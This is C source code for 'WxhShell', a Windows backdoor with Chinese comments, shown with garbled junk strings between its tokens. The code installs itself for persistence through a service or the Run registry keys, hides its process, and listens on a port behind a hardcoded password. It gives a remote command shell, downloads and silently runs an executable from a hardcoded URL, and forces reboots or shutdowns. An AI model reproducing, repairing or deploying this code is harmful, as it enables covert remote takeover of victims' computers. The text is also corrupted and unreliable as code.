y HANDLE hProcess; 'a}<|Et. PROCESS_BASIC_INFORMATION pbi; 82mKI+9&" //[zUn HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ENmfbJ4d~ if(NULL == hInst ) return 0; v6Vd V.BI h x_,>\@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p5 !B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4P1<Zi+< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); epWTZV(1x H)eecH$K if (!NtQueryInformationProcess) return 0; p2(U'x
c s>A!Egmo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;QRnZqSv if(!hProcess) return 0; /FP;Hsw% IW Ro$Yu if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )QeXA) SCXH{8SS CloseHandle(hProcess); &mG1V Xm#E9 9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Nw}
} if(hProcess==NULL) return 0; v>e%5[F tC4:cX HMODULE hMod; `^mPq?f char procName[255]; mBp3_E.t unsigned long cbNeeded; PNjZbOmzS }"V$li if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J.R|Xd "s:eH"_s CloseHandle(hProcess); -AJ$-y 0`{3|g if(strstr(procName,"services")) return 1; // 以服务启动 Rh=,]Y aGl*h"& return 0; // 注册表启动 Y?1
3_~
K } o$S/EZ fj/sN HU // 主模块 Myal3UF int StartWxhshell(LPSTR lpCmdLine) 51,RbADB { l6YToYzE2 SOCKET wsl; fV 6$YCf BOOL val=TRUE; QA=G+1x int port=0; 1$Jria5n struct sockaddr_in door; ,KM-DCwcG
{iz,iv/U if(wscfg.ws_autoins) Install(); AK7IPftlH T7wy{; port=atoi(lpCmdLine); 2l7Sbs7 hkK+BmMj\ if(port<=0) port=wscfg.ws_port; 7wO0d/l_ S:\a&+og WSADATA data; k|O?qE1hP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pl-2O $ U c6]]Bbc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5tSR2gG#K, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7tEK&+H` door.sin_family = AF_INET; y<53xZi door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3!+N}[$iy door.sin_port = htons(port); QNGICG- 5WT^;J9V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `|Ll closesocket(wsl); 13:yaRo return 1; \Mi] !b|8 } +PCsp'D
d Usa if(listen(wsl,2) == INVALID_SOCKET) { 0:,8Ce closesocket(wsl); Ps0g return 1; FN25,Q8:*I } P
57{ Wxhshell(wsl); N33{vx WSACleanup(); iva?3.t rO_|_nV[ return 0; r`; " 01/? } 4 yk!T x/7d!>#; // 以NT服务方式启动 P ~pC /z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &ye,A(4 { wRc=;f DWORD status = 0; Up(Jw-. DWORD specificError = 0xfffffff; Rk1B \L|M ^m3[mY [a serviceStatus.dwServiceType = SERVICE_WIN32; #Cwzk{p( serviceStatus.dwCurrentState = SERVICE_START_PENDING; <`'^rCWI? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AK#`&)0i serviceStatus.dwWin32ExitCode = 0; .7BB*!CP serviceStatus.dwServiceSpecificExitCode = 0; Ap{2*o serviceStatus.dwCheckPoint = 0; RpAtd^I serviceStatus.dwWaitHint = 0; CL~21aslI MzF9 &{N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;AFF7N>& if (hServiceStatusHandle==0) return; z%F68f73 LC!ZeW35 status = GetLastError(); x vi&d1 if (status!=NO_ERROR) C*S%aR { 6{XdLI serviceStatus.dwCurrentState = SERVICE_STOPPED; Ar+<n 2;[ serviceStatus.dwCheckPoint = 0; ]>K02SVT: serviceStatus.dwWaitHint = 0; nA!Xb'y& serviceStatus.dwWin32ExitCode = status; ) <lpI';T serviceStatus.dwServiceSpecificExitCode = specificError; E^RPK{zO SetServiceStatus(hServiceStatusHandle, &serviceStatus); :HJ@/s!J return; ][ ,NNXrc& } :sMc}k?9S zF&>1y.$ serviceStatus.dwCurrentState = SERVICE_RUNNING; cY}Nr#%s@U serviceStatus.dwCheckPoint = 0; q ;@:,^ serviceStatus.dwWaitHint = 0; k 5<[N2D|! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #4WA2EW } 7\BGeI qep<7 QO // 处理NT服务事件,比如:启动、停止 j3!]wolY VOID WINAPI NTServiceHandler(DWORD fdwControl) w|"cf{$^x { 8?n6\cF switch(fdwControl) !kPZuU`T { N+<`Er case SERVICE_CONTROL_STOP: 5y}kI serviceStatus.dwWin32ExitCode = 0; R*C serviceStatus.dwCurrentState = SERVICE_STOPPED; xaiA? serviceStatus.dwCheckPoint = 0; 6.%V"l serviceStatus.dwWaitHint = 0; g{`r WKj { Jb~nu SetServiceStatus(hServiceStatusHandle, &serviceStatus); m[@7!.0=
} \"E-z.wW= return; UE3#(:xA case SERVICE_CONTROL_PAUSE: Dn[iA~ serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Q!X~L|\S break; oNgu-& case SERVICE_CONTROL_CONTINUE: gFsnL*L0 serviceStatus.dwCurrentState = SERVICE_RUNNING; WsA(8Ck< break; ^:b%QO case SERVICE_CONTROL_INTERROGATE: }ph;~og}y break; lS`hJ: }; :QSCky*i SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+) Acy; } E&?z-,-o@ ozs
xqN // 标准应用程序主函数 Iw?M>'l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +sTZ)
5vQ { nly`\0C u6~|].j R // 获取操作系统版本 o'W[v0>
L- OsIsNt=GetOsVer(); x?ajTzMv GetModuleFileName(NULL,ExeFile,MAX_PATH); .K`^n\T
t t/6t{*-w // 从命令行安装 =uZOpeviQ if(strpbrk(lpCmdLine,"iI")) Install(); 9w-V +Nf J,8Wo6 // 下载执行文件 $X.X_ if(wscfg.ws_downexe) { EW* 's( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p'2ZDd=v WinExec(wscfg.ws_filenam,SW_HIDE); l!B)1 } Ib)>M`J Ha~g8R& if(!OsIsNt) { qlT'gUt=H // 如果时win9x,隐藏进程并且设置为注册表启动 -3M6[`/ HideProc(); %8?s3^o StartWxhshell(lpCmdLine); EM_`` 0^ } G<1awi else 4XkSj9D~z if(StartFromService()) SX$Nef9p // 以服务方式启动 -{
Ng6ntS StartServiceCtrlDispatcher(DispatchTable); I2@pkVv3z else T)IH4UO // 普通方式启动 RH,1U3? StartWxhshell(lpCmdLine); y<|vcg8x UB3b return 0; p;S<WJv k } Rt$Q*`u
cLN(yL c'=p4Fcm x(e=@/qp =========================================== %ZF6%m0S *$ZLu jy7 *"N756Cj )V!dmVQq{g +LwE=unS :y)'_p *l/ " */B-%*#I. 8^3Z]=(Q #include <stdio.h> Qrt[MJ+# #include <string.h> +L4_] #include <windows.h> O87Ptr8 #include <winsock2.h> c
k= #include <winsvc.h> mQQ5>0^m #include <urlmon.h> QdM&M^ pN+lC[C #pragma comment (lib, "Ws2_32.lib") ^-3R+U- S #pragma comment (lib, "urlmon.lib") 90%alG1>y )v!>U<eprD #define MAX_USER 100 // 最大客户端连接数 D`=hP(y^ #define BUF_SOCK 200 // sock buffer QI@!QU$K& #define KEY_BUFF 255 // 输入 buffer UR~9*`Z , P)?)H]J" #define REBOOT 0 // 重启 anj*a<C< #define SHUTDOWN 1 // 关机 ^(p}hSLAfQ K0xZZ` #define DEF_PORT 5000 // 监听端口 kLKd
O0 dP(*IOO. #define REG_LEN 16 // 注册表键长度 K!q:A+] #define SVC_LEN 80 // NT服务名长度 hJ0)"OA5 H26'8e // 从dll定义API lY5a=mwHU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 66"-Xf~u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v)(tB7&`= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >$]SYF29 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f#:7$:{F1 g;U f? // wxhshell配置信息 L0{ehpvM struct WSCFG { B]K@'# int ws_port; // 监听端口 b??k|q char ws_passstr[REG_LEN]; // 口令 ;C8'7 int ws_autoins; // 安装标记, 1=yes 0=no *)c,~R^ char ws_regname[REG_LEN]; // 注册表键名 dU]> char ws_svcname[REG_LEN]; // 服务名 gt3;Xi char ws_svcdisp[SVC_LEN]; // 服务显示名 >pKu
G# char ws_svcdesc[SVC_LEN]; // 服务描述信息 N@UO8'"9K& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 75`*aAZ3 int ws_downexe; // 下载执行标记, 1=yes 0=no g)+45w*+5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |Ew\Tgo/2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }hOExTz 3AWNoXh }; |C9qM 9,|&+G$ // default Wxhshell configuration L3M]06y struct WSCFG wscfg={DEF_PORT, #NM.g "xuhuanlingzhe", #`6A}/@.+ 1, h<oQ9zW) "Wxhshell", o6^^hc\ "Wxhshell", "M*Pt "WxhShell Service", 8$!/Zg "Wrsky Windows CmdShell Service", p&=F:- "Please Input Your Password: ", @b=b>V[d6 1, 8S1%;@c "http://www.wrsky.com/wxhshell.exe", }SHF "Wxhshell.exe" 4a;8XAl }; JHN35a+ Pm]6E[zC // 消息定义模块 C%<[mM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2U6j?MyH2 char *msg_ws_prompt="\n\r? for help\n\r#>"; b'Gn)1NE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6KmF 9 char *msg_ws_ext="\n\rExit."; kW&{0xkGR char *msg_ws_end="\n\rQuit."; |5SYKA7CS char *msg_ws_boot="\n\rReboot..."; rm*Jo|eH` char *msg_ws_poff="\n\rShutdown..."; G0Wzx)3] char *msg_ws_down="\n\rSave to "; _p vL b _s./^B_w! char *msg_ws_err="\n\rErr!"; j;fmmV@ char *msg_ws_ok="\n\rOK!"; 2 @g'3M C !81Km5 char ExeFile[MAX_PATH]; SGMLs'D int nUser = 0; jcF/5u5e HANDLE handles[MAX_USER]; wU.K+4-k int OsIsNt; 4NxtU/5-sU vkan+~H SERVICE_STATUS serviceStatus; fSdv%$;Hc SERVICE_STATUS_HANDLE hServiceStatusHandle; b'fj Y418k // 函数声明 e[}R1/!L int Install(void); ,R$n I*mf_ int Uninstall(void); Qz;2RELz int DownloadFile(char *sURL, SOCKET wsh);
>lqWni int Boot(int flag); v/f&rK* > void HideProc(void); d[z+/L int GetOsVer(void); z#b31;A@$ int Wxhshell(SOCKET wsl); _Tyj4t0ElV void TalkWithClient(void *cs); 8"+Re
[ int CmdShell(SOCKET sock); 6o&{~SV3 int StartFromService(void); FA\gz?h int StartWxhshell(LPSTR lpCmdLine); }2M2R}D krm&.J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y;>0)eP VOID WINAPI NTServiceHandler( DWORD fdwControl ); 93:s[bmx H@er" boi // 数据结构和表定义 Y[x9c0 SERVICE_TABLE_ENTRY DispatchTable[] = ['m@RJm+ { W&y%fd\&3 {wscfg.ws_svcname, NTServiceMain}, VA_\Z {NULL, NULL} LRD71*/ }; ( B$;'U< XiI@Px?FL // 自我安装 pLL
^R int Install(void) C,-q2ry { ]J)WcM: char svExeFile[MAX_PATH];
L's_lC HKEY key; C^RO@kM strcpy(svExeFile,ExeFile); NMY~f (x u D_|/ ( // 如果是win9x系统,修改注册表设为自启动 <1]#E@ if(!OsIsNt) { RLr;]j8cm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :h1itn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "2(4?P RegCloseKey(key); Y+ P\5G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r: n^U# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6R5) &L RegCloseKey(key); ]t]s/;9]K return 0; S|Wv1H> } j2" jCv } nm66U4.@ } }NDw3{zn else { J\XYUs )DuOo83n[" // 如果是NT以上系统,安装为系统服务 M~;Ww-./ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hRSRz5 J} if (schSCManager!=0) t#oJr2 { zzy%dc SC_HANDLE schService = CreateService 3]0ETcT ( MT BN&4[ schSCManager, ?G+v#?A wscfg.ws_svcname, T>d-f=(9KH wscfg.ws_svcdisp, $I!vQbi SERVICE_ALL_ACCESS, cEO g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~P|YAaFx SERVICE_AUTO_START, #sy)-xM SERVICE_ERROR_NORMAL, E>xdJ svExeFile, @rkNx@[~ NULL, Q$G!-y+"i NULL, MzsDWx;eJ NULL, e.n&Os<|< NULL, ]~CGzV
NULL @v_ ) ( ); N54U
[sy if (schService!=0) #
9Z];<g { $Ne$s CloseServiceHandle(schService); 8 vK
Z; CloseServiceHandle(schSCManager); gO4`e(W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z1u{.^~ ^z strcat(svExeFile,wscfg.ws_svcname); 8$-(% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 828E^Q"< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rC}r99Pe:x RegCloseKey(key); 6~V$0Y>] return 0; YY{S0jnhF } FkR9-X< } _!H{\kU CloseServiceHandle(schSCManager); =yOIP@ } =9 FY;9 } [F%INl-sy wgpu]ooUF& return 1; QM`A74j0]\ } Ki{&,:@ "zL<:TQ" // 自我卸载 2#ND( int Uninstall(void) B.6gJ2c { 2ksX6M3kY HKEY key; mu04TPj ]wWN~G)2lV if(!OsIsNt) { U)=?3}s( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C4&yC81Gm RegDeleteValue(key,wscfg.ws_regname); R
@b[o7/ RegCloseKey(key); WE 'afxgV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^aN;M\ RegDeleteValue(key,wscfg.ws_regname); Eic/#j{4 RegCloseKey(key); ko*Ir@SDv return 0; U-#wFc2N } I0.{OJ- } 7NV1w*>/ } L|EvI.f else { 4!,x3H' ,*%%BTnR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~~,\BhG? if (schSCManager!=0) ir-srVoXy { (S* T{OgO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -("sp if (schService!=0) !"j?dQ.U; { u.x>::i& if(DeleteService(schService)!=0) { i]a 5cn CloseServiceHandle(schService); 03L+[F&"? CloseServiceHandle(schSCManager); .Ebg>j:\ return 0; AK%`EsI^ } l_5]~N CloseServiceHandle(schService); SwpS6 } g"c\ouSY CloseServiceHandle(schSCManager); xX*I.saK } $3zs?Fd` } @~hiL(IR' j[k&O)A{C return 1; L,M=ogdb } XCCN6[[+ o(Yfnnuy // 从指定url下载文件 Pqli3( int DownloadFile(char *sURL, SOCKET wsh) vmm#UjwF3 { B ZP}0 HRESULT hr; pZUckQ char seps[]= "/"; n=WwB(}q char *token; <SGO+1ztp char *file; WM$}1:O char myURL[MAX_PATH]; '`&gSL.1a@ char myFILE[MAX_PATH]; nh"nSBRxk .w/w]
Eq strcpy(myURL,sURL); Q^>"AhOiU token=strtok(myURL,seps); / CEn yE/ while(token!=NULL) 8+5#FC7 { YAQ]2<H file=token; yaza token=strtok(NULL,seps); P~`gWGC} } @?lmho? ]Qm$S5tU GetCurrentDirectory(MAX_PATH,myFILE); XFKe6: strcat(myFILE, "\\"); 3cfW|J strcat(myFILE, file); w=H send(wsh,myFILE,strlen(myFILE),0); GcaLP*%>B send(wsh,"...",3,0); I },.U&r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #pO=\lJ, if(hr==S_OK) $_ IvzbOh return 0; 89o&KF] else Fv$5Zcf return 1; &~)PB
| zrVw l\& } kk#%x#L[ R?Zv // 系统电源模块 EK`}?>' int Boot(int flag) :@#9P," { no_;^Ou? HANDLE hToken; &0cfTb)dG TOKEN_PRIVILEGES tkp; ;]!QLO.bs^ p^QZGu-.W if(OsIsNt) { BBuI|lr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j}O~6A>| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UgI0
*PE2 tkp.PrivilegeCount = 1; ~SUrbRaY> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; " O0p.o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EZnXS"z if(flag==REBOOT) { U|SF;T
. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n'*4zxAA return 0; 2q]y(kW+ } )tYu3*' else { " E+V>V+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cge@A'2 return 0; yTJ Eo\g/@ } &iKy } =`Ii?xo else { z7TMg^9# if(flag==REBOOT) { Io_bS+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8'XAZSd( return 0; -wn,7; } ^f6pw! else { :jL>sGvBv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "?9rJx$ return 0; ;B*im
S10 } `%S 35x9 } -wr#.8rzTT "3 Y(uN return 1; wr);+.T9R } ]M3V]m $fifx>! // win9x进程隐藏模块 7p1f*N[X void HideProc(void) k Il!n
{ x -;tV=E} n vzk P{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); by}C;eN if ( hKernel != NULL ) EPeKg{w { ($QQuM= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RZMR2fP% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X5U#^^O$E% FreeLibrary(hKernel); 709/'#- ^ } [}>!$::Y \dAs<${( return; suOWmqLs } ,bTpD! /=5:@ // 获取操作系统版本 ^]rPda# int GetOsVer(void) |WP}y-Au { 'Fq+\J#% OSVERSIONINFO winfo; W*2d!/;7> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #hMS?F| GetVersionEx(&winfo); 6LRvl6ik if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P{m(.EC_ return 1; {$>Pg/ else 2WO5Af% return 0; j!c~%hP } 5aZbNV}- i,V,0{$ // 客户端句柄模块 =D~>$Y int Wxhshell(SOCKET wsl) JjMa { i}Q"'? SOCKET wsh; W6c]a/ struct sockaddr_in client; >U\1*F,Om, DWORD myID; ]`eP"U{ 33},lNS| while(nUser<MAX_USER) vKO/hZBh { sP:nTpTsC int nSize=sizeof(client); HPryq )z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <%4M\n if(wsh==INVALID_SOCKET) return 1; mNA=<O;i)' zgNzdO/B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =;Q:z^S if(handles[nUser]==0) 3xIelTf* closesocket(wsh); /7N&4FrG else }3O 0nab nUser++; qdnwaJ;& } {gz-w|7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2A=q{7s ]?G|:Kx$y% return 0; r'(*# } `92P~Y~`W c_4K // 关闭 socket rnyXMt.q void CloseIt(SOCKET wsh) do.AesdXaq { FUVp}>#U closesocket(wsh); 8IkmFXj nUser--; jd`h)4 ExitThread(0); "wy2u~ } j:2TicHDC Xj9\:M- // 客户端请求句柄 Cs4ks`Z18 void TalkWithClient(void *cs) 5pT8 }?7 { p'`?CJq8 PrHoN2y5E SOCKET wsh=(SOCKET)cs; + 70x0z2 char pwd[SVC_LEN]; h+R26lI1x char cmd[KEY_BUFF]; Xf#+^cQ char chr[1];
NDUH10Y:[ int i,j; a]/KJn/B( 1}_4C0h\' while (nUser < MAX_USER) { W)Ct*I^ j1rR3)oP if(wscfg.ws_passstr) { q|{z9V< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,!40\"A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z;<:=# //ZeroMemory(pwd,KEY_BUFF); KKq%'y)u^ i=0; $cWt^B' while(i<SVC_LEN) { %*NED zy -7KoR}Ck! // 设置超时 .?vHoNvo fd_set FdRead;
jF-:e;- struct timeval TimeOut; ]Twyj FD_ZERO(&FdRead); [vY#9W"! FD_SET(wsh,&FdRead); ]Cs=EZr TimeOut.tv_sec=8; TSD7R TimeOut.tv_usec=0; 8@[S,[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )@ofczl6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jddhX]>I -=cm7/X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _NB*+HVo pwd=chr[0]; "F =NDF if(chr[0]==0xd || chr[0]==0xa) { -{}h6r pwd=0; *c\XQy break; boI&q>-6Re } DaQ+XUH? i++; NB4Q,iq$ } UZdGV?o ? K {kd:pr // 如果是非法用户,关闭 socket "=w:LRw if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Er;q s *f } NLr a"Z t.+)g-X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #mU<]O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &b`'RZe gnGh ) while(1) { !Rc
% cQ]c!G|a4 ZeroMemory(cmd,KEY_BUFF); k'_f?_PBu h% KEg667 // 自动支持客户端 telnet标准 r .'xqzF/ j=0; @ x .`z while(j<KEY_BUFF) { ;Xf1BG r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c`/VYgcTqB cmd[j]=chr[0]; YKz#, if(chr[0]==0xa || chr[0]==0xd) { 9%Tqk"x? cmd[j]=0; Zs]n0iwM'@ break; {sf
,(.W } gxhdxSm=2 j++; -uxU[E } u]Q}jqiq" Ph%{h" // 下载文件 SXP(C^?C if(strstr(cmd,"http://")) { sE'c$H send(wsh,msg_ws_down,strlen(msg_ws_down),0); a{L&RRJ if(DownloadFile(cmd,wsh)) &XV9_{Hm send(wsh,msg_ws_err,strlen(msg_ws_err),0); =IW!ZN_ else U3C"o|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QJj='+R> } cxQAp else { @dk-+YxG h
(q,T$7W switch(cmd[0]) { +SF+$^T 7~FHn'xt // 帮助 4#}aLP case '?': { er5!ne send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UOFb.FRP> break; _
xym } ;:_AOb31N // 安装 J;NIa[a case 'i': { KJV8y"^=Q if(Install()) 2F>Y{3& send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|ZFei)r else yuy\T(7BN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !(7m/R break; kc0MQ TJU } Pn^ `_ // 卸载 sQ340! case 'r': { 5q*s_acQ if(Uninstall()) umWs8-'Uw send(wsh,msg_ws_err,strlen(msg_ws_err),0); aPzn4}~/_ else /='0W3+o*L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5L?RkFi\ break; 1Xo0(*O } =y-yHRC7 // 显示 wxhshell 所在路径 O-HS)g$2 case 'p': { (BPO*' char svExeFile[MAX_PATH]; \HbZ~I- strcpy(svExeFile,"\n\r"); 26g]_Igq strcat(svExeFile,ExeFile); .n1&Jsey send(wsh,svExeFile,strlen(svExeFile),0); r&m49N,d break; sWo}Xq# } ,+
G // 重启 b6
%m*~ case 'b': { _\KFMe=PV send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >#$SaG! if(Boot(REBOOT)) d_d&su
E send(wsh,msg_ws_err,strlen(msg_ws_err),0); VS/M@y_./ else { r) x closesocket(wsh); u+Ix''Fn#% ExitThread(0); >U,&V%y } tu<<pR> break; WI4<2u; } 0:
a2ER|J // 关机 $*942. =Q case 'd': { pdRM%ug send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :-}K:ucaj if(Boot(SHUTDOWN)) b"A,q send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0t?o6e else { o3dqsQE% closesocket(wsh); )`rD]0ua; ExitThread(0); I4G0!"T+ } LWv<mtuYf break; b'\Q/;oz> } T8a' 6otc // 获取shell y<kUGsD case 's': { &'$Bk5 D@G CmdShell(wsh); ,Q56A#Y\ closesocket(wsh); @KK6Jy OTQ ExitThread(0); {/]2~! break; =}#yi<Lt } JY2<ECO // 退出 `jGeS[FhR case 'x': {
xcr2| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GMJ4v S CloseIt(wsh); EjLq&QR. break; $KYGQP } WVRIq' // 离开 `s)4F~aVo case 'q': { V?j,$LixY send(wsh,msg_ws_end,strlen(msg_ws_end),0); )vS0Au^C~ closesocket(wsh); g %mCgP WSACleanup(); )]j3-# exit(1); (DO'iCxlNh break; s{@R|5 } G<e+sDQ2 } q13fmK(n-5 } \1!Q.V %`C*8fc& // 提示信息 BQ0?B*yqd if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -`I|=lBz{H } Cw+boB_tip } ?YW~7zG 9s^$tgH return; QMBT8x/+_' } bFX{|&tHU KkZx6A)$u // shell模块句柄 M YF
^zheD int CmdShell(SOCKET sock) /eQAGFG {
^wolY0p STARTUPINFO si; S/XU4i:aV ZeroMemory(&si,sizeof(si)); aDdGhB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @}Hu)HO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;stuTj@vH PROCESS_INFORMATION ProcessInfo; Ab ,^y char cmdline[]="cmd"; +r3)\L{U CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oIE
1j? return 0; 9,'m,2%W } @!P2f
<2U@O`
gC // 自身启动模式 { KWVPeh int StartFromService(void) G1z*e.+y { Xj\ToO typedef struct :cC$1zv@ { !G3AD3 DWORD ExitStatus; gsyOf*Q$ DWORD PebBaseAddress; n{;Q"\*Sg DWORD AffinityMask; 0 #8 DWORD BasePriority; i\6CE| ULONG UniqueProcessId; DEZww9T2Qs ULONG InheritedFromUniqueProcessId; \EfX3ghPI } PROCESS_BASIC_INFORMATION; 49MEGl;K0\ ,/w*sE PROCNTQSIP NtQueryInformationProcess; ~(V\.hq G]>yk_#/\U static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KrpIH6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *&I>3;~%^} Ljd`)+`D HANDLE hProcess; |/gt;H~:
PROCESS_BASIC_INFORMATION pbi; xG/Q%A J{ju3jo HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4f\NtQ) if(NULL == hInst ) return 0; W'@|ob w~*@TG g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H.ZIRt!RB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^&?,L@fW NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R])Eg& AT"gRCU$4 if (!NtQueryInformationProcess) return 0; a!$kKOK I`0-q?l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cj[b ^Wv: if(!hProcess) return 0; Ks%0!X?3q >s^$- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [7@g*!+d G}pFy0W\S CloseHandle(hProcess); TwkT|Piw
